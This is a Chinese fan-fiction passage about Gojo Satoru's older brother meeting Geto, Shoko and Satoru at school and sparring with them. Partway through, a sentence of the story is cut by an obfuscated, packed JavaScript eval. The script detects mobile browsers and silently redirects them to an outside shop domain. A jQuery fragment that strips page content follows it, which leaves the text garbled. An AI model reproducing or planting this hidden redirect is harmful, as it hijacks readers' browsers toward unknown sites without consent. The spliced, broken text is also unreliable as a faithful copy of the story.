「啊、是悟…」
「……什么？」
「……原来是前辈。对不起，我认错了」
难得利用一次寮内休息室的自动售货机，平时一直很空荡的走廊里突然出现了其他人的气息，我不由得往那边看了一下。映入眼帘的是束着头发、留着一侧刘海的穿着高专制服的学生。
被呼唤的不是自己的名字，却也是熟悉的。我不由得多打量了他几眼。还很陌生，也许是开学才过一周、这一期的新生自己还没认全的缘故吧。
高专四年级的课程几乎全是实地任务，说是学生，我却已经很少留在校内了。
同级的两个同学，一个已经决定好就职的方向在外出差，一个则去了海外进行研究。剩下的我则作为一级术师——珍贵的高级战力的一员，这里那里地被派遣着做事。今天也是难得争取到了休息时间，才能回来暂时放松的。
悟，…这么说来，今年是他入学了这边啊。
本应该没有去高专的预定，最后家中还是拗不过他的执着、把进路定到了东京校这边。再加上我在这里也好照应——五条家珍藏的至宝终于被放入了更宽广的水池。自然咒术界也因此产生了许多变化、家人和我都时常忙于处理那些变故，不让悟被影响。
对别人来说这是「六眼的离家」，但对我来说，这只不过是宝贝弟弟的高中生活正式开始了而已。让他平淡而快乐地享受这段青春是我的目标，能交到朋友就最好。
直呼其名，吗…看来是顺利地交到朋友了。果然，这些事我也不能总是担心个不停。他自己都能行的。
面前的后辈露出有些局促的神情，兴许是刚刚把我和同级生搞混了、正在思考说些什么挽救一下气氛。我看了看这样的他，从零钱包里拿出多余的硬币。「要喝点什么吗？」
「诶、不用麻烦你，请客什么的…」
他如同预料中一样仓促地打算拒绝，为了断绝掉他的后路，我直接把硬币塞进了机器里。「就让我请一下。偶尔也得尽点前辈的义务嘛」
「……那，冰咖啡」
「能坦诚回答就是好孩子。」
选了最贵的咖啡，也为自己买了一罐热乎乎的年糕小豆汤。后辈双手捧着制冷后的饮料，我则是扯开了汤罐的拉环，坐在旁边的椅子上喝了一口。
保持着这样自然的姿势一会儿后，他也坐到了我的旁边。
「前辈、是…」
「嗯。和你猜测的一样，我是悟的哥哥。——五条司，你应该有听悟谈到过吧」
「……不，完全没谈到。」
「……」啊。这小子…
「……」
「……忘了我刚才说的吧。你的名字呢？」
「啊啊…这么说来、还没自我介绍。我是悟的同级生夏油杰，差不多…应该算是朋友吧」
「嘿…这样」
温和而甘甜的工业制品，从前世就是自己最喜欢的味道。被这样的甜味安抚着神经，我借着墨镜隐藏去了视线移动的轨迹，暗暗地上下观察着这孩子。
宽裤脚的改造制服，有点旧年代不良的感觉，但礼仪端正。打耳钉，没有染发。个子高的同时姿势不错，能看出家教还算良好。作为朋友应该不是会带去负面影响的那类。
和事先调查的情报一样的话，他是一般家庭出身的咒灵使役者。咒灵操术本身作为术式的优秀程度是拔群的，虽然要看使用者的天赋和灵性，但也是优秀的未来被确定的孩子。
身为咒术师的未来吗……
「…那个，看太久了」
「……啊啊，被发现了。抱歉，我没有恶意。就是有点在意而已。」
…然后，感官也很敏锐。
「…如果是在担心悟的话，我能理解。
但你应该明白不能干涉他人的交往吧，…即使是一般家庭的出身，我想对日后的发展也是没有负面影响的」
明明只是一年级的学生却有足够的胆量，敬语的确是完备着的，略带攻击性的意图却隐藏在端正的态度下面。
大概是了解了一些咒术界的黑暗规则，所以在警惕着我吧。会这样也没办法。
被悟认同的类型果然和普通的孩子不一样啊。我在心中感慨着，轻轻笑出声音。
「我知道的。既然是悟选择的朋友，我就不会不读空气。
安心啦，我不打算惹麻烦…啊，悟」
走廊中响起了毫不掩饰的脚步声。
我撑起眼镜的框架。从拐角绕出来、径直走到我身前的就是刚刚谈天的主题。…遮蔽六眼的墨镜、制服，乍一看的确和我很相似的白发要更加凌乱。他的个头已经拔到了快要超过我的地步，面容虽然还残留着一点孩子的气息，却已经是少年了。
当下的他乍一看好像有些生闷气的样子，嘴角也明显地往下扯。但这只是表面的反应，一旦要隐藏真心的开心时他就会这样，能够一眼辨别出来也是哥哥的特技。
「悟，我刚刚在和你的哥哥聊天。」
「看也知道，…让开一点」
悟硬生生地挤开我和后辈间的空隙，堂而皇之地坐在最中间。张开的双臂理所当然地搭住了椅背，分别绕在我们的脑后。「随随便便就关系好起来了，我可是被晾着的啊——。」
「没有晾着你，我只是想趁着悟不在了解一下夏油君的事罢了。」我连忙解释。
另一边的夏油也顺应着开口。「没有晾着悟啊。因为被前辈请了咖啡，所以看在咖啡的面子上打算陪同一下」
「…诶…」只是看在咖啡的面子上…？
「杰——，别看司那样其实他意外的情感纤细啦，不要上来就欺负人」
「哈哈，竟然被教训了」
…完全没有反省的意思啊。
根本不需要我担忧一样地、弟弟好像轻而易举地掌握了交朋友的诀窍。…但是撤回前言，「好像对悟没有影响」肯定是不对的。即使是我也能察觉到他们凑在一起后倍增的麻烦程度。
悟一个人的话还好，会因为面对的人数变少而开放更多的坦诚。旁边有他人就会加倍难搞。再加上是这种煽风点火型的男人…
感觉悟和他继续在一起的话，本来就横行霸道的自我会被加倍扩大。总之无法放着不管。
正当我的心情逐渐凝重的时候，面前的拐角又探出了谁的头。怎么回事，这里平时没有这么多人流量的。
「呜哇，好好笑——不良的休息地吗」
「等、硝子、这里是男生寮…」好像很慌张的夏油君。被女孩子侵入到了私人领域果然也会丧失余裕呢…等、女孩子？
诶！？「啊、…那个，小硝子…对吧，这里是男生寮的走廊，尽可能地拿到邀请再过来会比较好…」
有着泪痣、留着短发的女生眨了眨眼。好像根本没把我和夏油的话放在心上一样没有回应。甚至自顾自地开启了新话题。
「两个渣滓在欺负四年级的前辈呢，真——坏，要去告诉老师——」
「……喂，怎么想都是你那边擅自进来的罪过更大吧」悟架起腿。
「啊哈，也是啦」
对悟的话语报以一笑，硝子绕到了我们身旁的窗边，一边开窗一边从烟盒中咬出支香烟。「真没办法…」这么叹着气的夏油从兜里摸出打火机，她也配合着弯下身子，将烟凑近那一簇燃起的火苗。
「……」
未成年人抽烟是不是有点嚣张了…
「呜哇好臭、二手烟、别靠过来啦」
「所以才像这样开了窗户嘛。」
像个大叔一样老练地喷云吐雾、少女扶着窗框将悟抱怨着的二手烟吐到了室外。我揉了揉有些痒的鼻尖，看向旁边的悟。「…还真是有个性的朋友们呢…」
也许是我的语气和表情都显得太失落了，悟和旁边的夏油对视一眼，然后毫不客气地大笑起来。
「没关系啦，司。这帮家伙是好人」
「对哦，请好好将您的弟弟交给我们照顾吧」
「哈哈，像是管老丈人要许可的女婿一样，好恶——」
「什么啊那个比喻，我也恶心起来了」
怎么回事，这群家伙…
对前辈毫无敬意、未成年吸烟，用词恶劣，完全就是不良少年…！
明明看着很正经却随身带着打火机的那个人也是！
兴许是察觉到了反应的僵硬，悟使劲拍了一下我的肩膀。我回神过来，看到了他的笑容。那样灿烂的笑容怎么看都是第一次见，毫无阴霾的、一丝忧郁都没有的笑，竟然在他的脸上出现了。
在家里的时候，和我相处的时候都是，哪怕是玩闹得再怎么开心，悟的笑容也总会有一丝暗藏的阴影。…然而和年纪相应的单纯的笑容，竟然在离家后这么短暂的时间中就显露出来了。
「没事，我打包票。而且我现在很开心啊」
…我知道的。看就能看出来了。
莫名其妙地鼻子发酸，我站起身来，将喝剩的小豆汤递给悟（悟「诶——我不想喝热的——」）。「…这之后你们有时间吗？」
「有的。我们都在休假中。司前辈有什么事吗？」
「一年级这么轻松可真好啊…」
从这之后开始、到以后的人生，你们会随着实力的增长面对更多的困难。就像圆的扩大会触及到更多的未知、所有尽可能地储备更多力量是最重要的。
记忆中闪回着那个黑发的男人。…哪怕是再强也会存在规格外的恶意，崭新的、狂妄的新芽…既然你们已经成为了悟重视的对象，那就先通过我的试炼吧。
「…司前辈？」
「有空的话，就稍微陪同一下我的练习吧」
攥拳，再张开五指。绝缘材料的手套发出褶皱伸展的声音。
「……就当是测试你们的实力了。」
-
「夏油君的术式是咒灵操术，对吧。」
「啊啊。在校内放出咒灵的话会鸣响警报，所以就容我只用体术了。」
「临时递交申请…太麻烦了，那就这样吧。利用规则也是一种优势呢。」
「悟，你要不要用术式？」我偏头看向另一边的悟。
「啊？无限的话可以开一下」
「毕竟乱用的话学校的训练场地就没有了啊…」
接下来是唯一的女孩子。「小硝子…的话，先去跑个圈热身一下？」
「会出汗诶，不要」
「…你啊」
「对医疗担当不要期待太多哦」
「但是先保证自己的健康也是医生的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13403896|141247||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
职业道德吧？跑圈，就一圈，之后请你可乐」
「溶解钙质和糖分满载的神水，咻——」好像在说着奇怪的口号，总之她跑去锻炼了。
-
现在的场地上只剩下夏油和悟两个人，套着体育课的运动衫。悟已经习惯和我的练习了，好像很无聊地在活动脊椎，旁边的夏油君就显得有些拘谨，但不难看出他的期待，应该也是有点疯的类型吧。不过一般家庭出身的孩子，刚入学体术能达到什么水平呢…
「司前辈的术师等级是…？」
「一级。抱歉哦，我不如悟那么强。但经验是有的」
「司很强哦？」悟揣着兜插嘴。
「是是。」习惯性地敷衍了。「…那，既然两个人都用不了术式，我这边也就不用了」
「用啊」
「…诶」
「我说用就用。咒灵可不会这么亲切地对等吧。」
「…也许悟没看出来，但我不是咒灵」棒读。
「没事啦。我和杰两个是最强的。…再加上司的术式，我基本没怎么见过。」
在家中的练习理论上是禁用术式的。只有需要练习精度的悟会被允许进行无下限的实验，为此还专门有一块可以随便「犁地」的空地。所以他见过我施展术式的时候很少，充其量也就是第一次见面的时候用过一次。
「也没什么意思，就是电磁操控啦…」我挠了挠头发。
「……好帅」
「对吧、司的术式超帅的…！」
这两个应该已经从国中二年级毕业了吧。
再这样拖下去就真的要变成漫才大会了，还是快一点转移到主题上比较好。我叹着气，轻轻打起了响指。
一个，电流开始在旁边的空气中迸发，两个，电击收束，流过作为导体的身体，神经、血液，内脏的鼓动和激素的分泌，三个，我的周身泛起了明显的电弧，像是保护罩一样明灭地闪动着。
「麻烦两位用咒力防御身体。
——直接碰到我的话心脏就会麻痹，到时候只能期待那个小姑娘快点跑完了哦」
「…、是…！」
下一秒，我的身影消失在了原地。
-
「…没想到是瞬杀呢…」
「……我也没想到」
「一直开着无下限的悟我碰不到。所以遭殃的就只有夏油君了」
看来是有点做过头了的样子。
经过强化过的身体可以做到货真价实的「电光火石」。神经的反应程度不是单靠肉体凡胎就能够追上的，所以下意识地想要防御的确是最优的选择，只是因为技巧还太生疏被我突破了咒力的防御、满身焦味地倒在地上也是这个选择的下场。
悟僵硬着身体站在一边，还未反应过来身边的朋友就已经再起不能了，恐怕他想要揍过来的欲望已经消减了一部分吧。
「这可不行，…这种时候、可是要立刻攻击过来啊…！」
「……！！」
灌注入更多的咒力、这回呼来的是「雷电」。
强烈的电流击穿了空气，引发着高热的连锁。瞄准的是悟刚刚站的位置，虽然他已经完美地闪避了过去，但我不可能给予喘息的机会。
雷电的交织构成了密集的雷暴，鼻腔内蔓延着被电解的空气的气味。足够让人角膜受损的闪光被墨镜屏蔽了下来，我不紧不慢地打着响指。…现在还不能停。
无限的展开需要集中精神，而精神的耗损会导致术式的松懈。…在这种情况下，稍微一松懈就会立刻死掉。要形容的话，现在的情况对悟来说就是最好的练习场。
这并不是正常的战斗方式，但作为练习装置是合格的。
「可别忘了我啊…、」
「……啊」
背后突兀地出现了气息。是咒灵、这么说来…
游走在我身边的电弧反应立刻击碎了袭击过来的咒灵，但借此产生的一丝空隙，让雷暴的节奏停了下来。
「还真是不留情啊，司…！」
「啊哈哈…」
术式顺转，苍。
完全就是那招的结印、然而在悟的身影从雷光中闪动出来的时候，自己就已经预料到这种情况而做好了闪避的准备。就在此时——
「夏油！！五条！！」
「……呜哇」
远处传来的无疑是怒气冲冲的夜蛾老师的声音。
这么说来…因为突然出现的咒灵的缘故，警报一直在响着呢…………
-
铁拳指导之后。
「所以是杰突然放出来的咒灵吧，和我有什么…」
「就这样忘记了我们合作的事实？悟还真是保身主义呢」
「啊啊？」
「那个，你们两个别吵啦」
「把训练场的地面整个破坏掉的是你吧？」×2
…嗯。因为是事实所以难得地反驳不了。
我只能老实地和这两个一年级生一起正坐着、接受夜蛾老师长时间的指导。旁边是正在喝着盒装果汁的硝子。
「所以小硝子是预料到这种情况了…？」
「和那两个渣滓打架的话肯定会演变成这种情况吧。所以就顺道去买了饮料」
「某种意义上也很厉害呢…」